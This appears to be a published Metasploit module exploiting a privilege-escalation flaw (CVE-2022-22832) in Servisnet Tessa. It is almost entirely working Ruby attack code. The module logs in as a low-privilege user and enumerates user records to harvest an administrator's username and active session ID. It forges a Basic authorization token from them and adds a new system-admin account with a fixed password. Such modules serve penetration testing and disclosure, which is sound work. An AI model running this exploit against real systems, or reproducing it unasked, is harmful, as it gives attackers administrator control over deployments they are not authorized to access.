Servisnet Tessa Privilege Escalation

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Servisnet Tessa - Privilege Escalation (Metasploit)',  
'Description' => %q(  
This module exploits privilege escalation in Servisnet Tessa, triggered by add new sysadmin user with any user authorization .  
An API request to "/data-service/users/[userid]" with any low-authority user returns other users' information in response.  
The encrypted password information is included here, but privilage escelation is possible with the active sessionid value.  
  
var token = Buffer.from(`${user.username}:${user.usersessionid}`, 'utf8').toString('base64');  
  
The logic required for the Authorization header is as above.  
Therefore, after accessing an authorized user ID value and active sessionId value,   
if the username and sessionId values are encoded with base64, a valid Token will be obtained and a new admin user can be added.   
  
),  
'References' =>  
[  
[ 'CVE', 'CVE-2022-22832' ],  
[ 'URL', 'https://www.pentest.com.tr/exploits/Servisnet-Tessa-Privilege-Escalation.html' ],  
[ 'URL', 'http://www.servisnet.com.tr/en/page/products' ]  
],  
'Author' =>  
[  
'Özkan Mustafa AKKUŞ <AkkuS>' # Discovery & PoC & MSF Module @ehakkus  
],  
'License' => MSF_LICENSE,  
'DisclosureDate' => "Dec 22 2021",  
'DefaultOptions' =>  
{  
'RPORT' => 443,  
'SSL' => true  
}  
))  
  
register_options([  
OptString.new('USERNAME', [true, 'Servisnet Username']),  
OptString.new('PASSWORD', [true, 'Servisnet Password']),  
OptString.new('TARGETURI', [true, 'Base path for application', '/'])  
])  
end  
# split strings to salt  
def split(data, string_to_split)   
word = data.scan(/"#{string_to_split}"\] = "([\S\s]*?)"/)  
string = word.split('"]').join('').split('["').join('')  
return string  
end   
# split JSONs to salt  
def splitJSON(data, string_to_split)   
word = data.scan(/"#{string_to_split}":"([\S\s]*?)"/)  
string = word.split('"]').join('').split('["').join('')  
return string  
end   
# split JSONs to salt none "  
def splitJSON2(data, string_to_split)   
word = data.scan(/"#{string_to_split}":([\S\s]*?),/)[0]  
string = word.split('"]').join('').split('["').join('')  
return string  
end   
  
def app_path  
res = send_request_cgi({  
# default.a.get( check   
'uri' => normalize_uri(target_uri.path, 'js', 'app.js'),  
'method' => 'GET'  
})   
  
if res && res.code == 200 && res.body =~ /baseURL/  
data = res.body  
#word = data.scan(/"#{string_to_split}"\] = "([\S\s]*?)"/)  
base_url = data.scan(/baseURL: '\/([\S\s]*?)'/)[0]   
return base_url  
else  
fail_with(Failure::NotVulnerable, 'baseURL not found!')  
end  
end  
  
def add_user(token, app_path)  
newuser = Rex::Text.rand_text_alpha_lower(8)   
id = Rex::Text.rand_text_numeric(4)   
# encrypted password hxZ8I33nmy9PZNhYhms/Dg== / 1111111111  
json_data = '{"alarm_request": 1, "city_id": null, "city_name": null, "decryptPassword": null, "email": "' + newuser + '@localhost.local", "id": ' + id + ', "invisible": 0, "isactive": 1, "isblocked": 0, "levelstatus": 1, "local_authorization": 1, "mail_request": 1, "name": "' + newuser + '", "password": "hxZ8I33nmy9PZNhYhms/Dg==", "phone": null, "position": null, "region_name": "test4", "regional_id": 0, "role_id": 1, "role_name": "Sistem Admin", "rolelevel": 3, "status": null, "surname": "' + newuser + '", "totalRecords": null, "try_pass_right": 0, "userip": null, "username": "' + newuser + '", "userType": "Lokal Kullanıcı"}'  
  
res = send_request_cgi(  
{  
'method' => 'POST',  
'ctype' => 'application/json',  
'uri' => normalize_uri(target_uri.path, app_path, 'users'),  
'headers' =>  
{  
'Authorization' => token  
},  
'data' => json_data  
})  
  
if res && res.code == 200 && res.body =~ /localhost/  
print_good("The sysAdmin authorized user has been successfully added.")  
print_status("Username: #{newuser}")  
print_status("Password: 1111111111")  
else  
fail_with(Failure::NotVulnerable, 'An error occurred while adding the user. Try again.')  
end  
end  
  
def sessionid_check  
  
res = send_request_cgi({  
# user.usersessionid check   
'uri' => normalize_uri(target_uri.path, 'js', 'app.js'),  
'method' => 'GET'  
})   
  
if res && res.code == 200 && res.body =~ /user.usersessionid/   
return Exploit::CheckCode::Vulnerable  
else  
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')  
end  
  
end  
  
def find_admin(token, userid, app_path)   
  
res = send_request_cgi({  
# token check   
'uri' => normalize_uri(target_uri.path, app_path, 'users', userid),  
'headers' =>  
{  
'Authorization' => token  
},  
'method' => 'GET'  
})   
  
if not res && res.code == 200 && res.body =~ /usersessionid/  
fail_with(Failure::NotVulnerable, 'An error occurred while use Token. Try again.')  
end  
  
loopid = userid.to_i  
$i = 0  
# The admin userid must be less than the low-authority userid.  
while $i < loopid do  
$i +=1  
res = send_request_cgi({  
# token check   
'uri' => normalize_uri(target_uri.path, app_path, 'users', $i),  
'headers' =>  
{  
'Authorization' => token  
},  
'method' => 'GET'  
})   
  
if res.code == 200 and res.body.include? '"Sistem Admin"'   
admin_uname = splitJSON(res.body, 'username')  
admin_sessid = splitJSON(res.body, 'usersessionid')   
admin_userid = splitJSON2(res.body, 'id')  
enc_token = Rex::Text.encode_base64('' + admin_uname + ':' + admin_sessid + '')  
token_admin = 'Basic ' + enc_token + ''  
print_good("Excellent! Admin user found.")  
print_good("Admin Username: #{admin_uname}")  
print_good("Admin SessionId: #{admin_sessid}")  
if session_check(token_admin, admin_userid, admin_uname) == "OK"  
break  
end  
end   
end  
end  
  
def session_check(token, userid, user)   
  
res = send_request_cgi({  
# session check   
'uri' => normalize_uri(target_uri.path, app_path, 'users', userid),  
'headers' =>  
{  
'Authorization' => token  
},  
'method' => 'GET'  
})   
  
if res && res.code == 200 && res.body =~ /managers_codes/  
print_good("Admin session is active.")  
add_user(token, app_path)  
return "OK"  
else  
print_status("Admin user #{user} is not online. Try again later.")  
return "NOT"  
end   
end  
  
def login_check(user, pass)  
  
json_data = '{"username": "' + user + '", "password": "' + pass + '"}'  
  
res = send_request_cgi(  
{  
'method' => 'POST',  
'ctype' => 'application/json',  
'uri' => normalize_uri(target_uri.path, app_path, 'api', 'auth', 'signin'),  
'data' => json_data  
})   
  
if res && res.code == 200 && res.body =~ /usersessionid/  
sessid = splitJSON(res.body, 'usersessionid')  
userid = splitJSON2(res.body, 'id')  
print_status("Sessionid: #{sessid}")   
print_status("Userid: #{userid}")  
enc_token = Rex::Text.encode_base64('' + user + ':' + sessid + '')  
token = 'Basic ' + enc_token + ''  
print_status("Authorization: #{token}")  
find_admin(token, userid, app_path)  
  
  
else  
fail_with(Failure::NotVulnerable, 'An error occurred while login. Try again.')  
end  
end  
  
def check   
  
if sessionid_check   
return Exploit::CheckCode::Vulnerable  
else  
return Exploit::CheckCode::Safe  
end  
end  
  
def run  
unless Exploit::CheckCode::Vulnerable == check  
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')  
end  
login_check(datastore['USERNAME'], datastore['PASSWORD'])   
end  
end  
  
`